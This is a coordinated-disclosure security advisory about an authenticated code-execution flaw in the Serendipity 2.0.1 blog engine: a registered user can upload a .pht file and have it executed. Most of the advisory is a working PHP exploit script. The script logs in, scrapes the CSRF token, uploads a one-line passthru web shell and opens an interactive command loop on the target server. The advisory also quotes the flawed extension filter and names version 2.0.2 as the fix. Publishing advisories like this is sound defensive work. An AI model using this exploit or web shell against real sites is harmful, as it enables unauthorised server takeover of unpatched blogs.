Serendipity 2.0.1: Code Execution
Security Advisory – Curesec Research Team

1. Introduction

Affected Product:   Serendipity 2.0.1  
Fixed in:     2.0.2
Fixed Version Link:
https://github.com/s9y/Serendipity/releases/download/2.0.2/serendipity-2.0.2.zip

Vendor Contact:   serendipity@supergarv.de  
Vulnerability Type:   Code Execution  
Remote Exploitable:   Yes  
Reported to vendor:   07/21/2015  
Disclosed to public:   09/01/2015  
Release mode:     Coordinated release  
CVE:   n/a  
Credits   Tim Coen of Curesec GmbH  

2. Vulnerability Description
Serendipity 2.0.1 does not allow the upload of .php, .php4, .php5,
.phtml files, or files starting with a dot - eg .htaccess files.

However, files with extension .pht can be uploaded by registered users,
and will be executed by most default Apache configurations.

The file upload is located here:
http://localhost/serendipity/serendipity_admin.php?serendipity[adminModule]=media&serendipity[adminAction]=addSelect

User registration either requires an admin to create the user, or the
plugin serendipity_plugin_adduser being activated. The default setting
for this plugin does not require an admin to accept the registration of
that user.

3. Proof of Concept


#!/usr/local/bin/php
<?php
if (count($argv) != 8 && count($argv) != 7) {
    help($argv);
    exit;
}
$cookieJar = tempnam('/tmp', 'cookie');
$user    = $argv[1];
$pass    = $argv[2];
$rootURL = $argv[3];
$loginURL = $argv[3] . '/' . $argv[4];
$uploadFormURL = $rootURL . '/' . $argv[5];
$shellFileName = $argv[6];

if (count($argv) == 7) {
    $shellURL      = $rootURL . '/uploads/' . basename($shellFileName);
} else {
    $shellURL      = $rootURL . '/' . $argv[7];
}

// login
echo "logging in as $user\n";
if (!login($loginURL, array(
            "serendipity[user]" => $user,
            "serendipity[pass]" => $pass,
            "submit"            => "Login"))) {
    echo "could not log in\n";
    exit;
}
echo "login done\n";

// csrf token
echo "getting anti CSRF token\n";
$nonce = getCSRFToken($uploadFormURL, $cookieJar);
echo "token: $nonce\n";

// uploading
echo "uploading $shellFileName to $shellURL\n";
$file = upload($uploadFormURL, $shellFileName,
"serendipity[userfile][1]", array(
    "serendipity[token]"              => $nonce,
    "serendipity[action]"             => "admin",
    "serendipity[adminModule]"        => "media",
    "serendipity[adminAction]"        => "add",
    "serendipity[column_count][1]"    => "true",
    "serendipity[all_authors]"        => "true",
    "serendipity[imageimporttype]"    => "image",
    "serendipity[target_filename][]"  => "",
    "serendipity[target_directory][]" => ""), $cookieJar);
if ($file == false) {
    echo "could not upload (possibly wrong extension? Only .pht is
allowed)\n";
    exit;
}
echo "upload done\n";

// executing
echo "starting execution\n";
execute($shellURL, 'exec');

function help($argv) {
    echo "usage: php " . $argv[0] . " [user] [pass] [root url] [login
path] [upload form path] [local shell file (pht), should contain <?php
passthru(\$_GET['exec']);] [shell path (optional, in case upload path is
non-standard)]\n
example: php " . $argv[0] . " admin admin http://localhost/serendipity
serendipity_admin.php
serendipity_admin.php?serendipity[adminModule]=media ./404.pht\n";
}

function upload($URL, $fileName, $fileFieldName, $additionalPost,
$cookieJar) {
    $fileNameAbsolute = realpath($fileName);
    $post             = array($fileFieldName => '@' . $fileNameAbsolute);
    $post             = array_merge($post, $additionalPost);
    $ch               = curl_init();
    curl_setopt($ch, CURLOPT_URL, $URL);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_COOKIEJAR, $cookieJar);
    curl_setopt($ch, CURLOPT_COOKIEFILE, $cookieJar);
    $result           = curl_exec($ch);

    $success = strpos($result, "successfully uploaded as") !== false;
    $tmp = preg_match("/successfully uploaded as (.*?)<\/span>/s",
$result, $matches);
    curl_close($ch);
    return $success ? $matches[1] : false;
}

function get($URL, $cookieJar = null) {
    $ch     = curl_init();
    curl_setopt($ch, CURLOPT_URL, $URL);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_COOKIEJAR, $cookieJar);
    curl_setopt($ch, CURLOPT_COOKIEFILE, $cookieJar);
    $result = curl_exec($ch);
    curl_close($ch);
    return $result;
}

function login($URL, $post) {
    global $cookieJar;

    $ch      = curl_init();
    curl_setopt($ch, CURLOPT_URL, $URL);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_COOKIEJAR, $cookieJar);
    curl_setopt($ch, CURLOPT_COOKIEFILE, $cookieJar);
    $content = curl_exec($ch);
    $success = strpos($content, "Logged in as") !== false;
    curl_close($ch);
    return $success;
}

function getCSRFToken($URL, $cookieJar) {
    $content = get($URL, $cookieJar);
    $tmp     = preg_match("/input type=\"hidden\"
name=\"serendipity\[token\]\" value=\"(.*?)\" \//s", $content, $matches);
    return $matches[1];
}

function execute($shellURL, $argsName) {
    while (true) {
        $line = readline("$: ");
        if ($line == "quit" || $line == "exit") {
            exit;
        }
        echo get($shellURL . "?" . $argsName . "=" . urlencode($line));
    }
}

4. Code


        The relevant function checking file extensions:
        /include/functions_images.inc.php:16

        function serendipity_isActiveFile($file) {
            if (preg_match('@^\.@', $file)) {
                return true;
            }

            $core =
preg_match('@\.(php.*|[psj]html?|aspx?|cgi|jsp|py|pl)$@i', $file);
            if ($core) {
                return true;
            }

            $eventData = false;
            serendipity_plugin_api::hook_event('backend_media_check',
$eventData, $file);
            return $eventData;
        }

5. Solution
To mitigate this issue please upgrade at least to version 2.0.2:

https://github.com/s9y/Serendipity/releases/download/2.0.2/serendipity-2.0.2.zip

Please note that a newer version might already be available.

5. Report Timeline

07/21/2015   Informed Vendor about Issue
07/24/2015   Vendor releases Version 2.0.2
09/01/2015   Disclosed to public

6. Blog Reference:
http://blog.curesec.com/article/blog/Serendipity-201-Code-Execution-48.html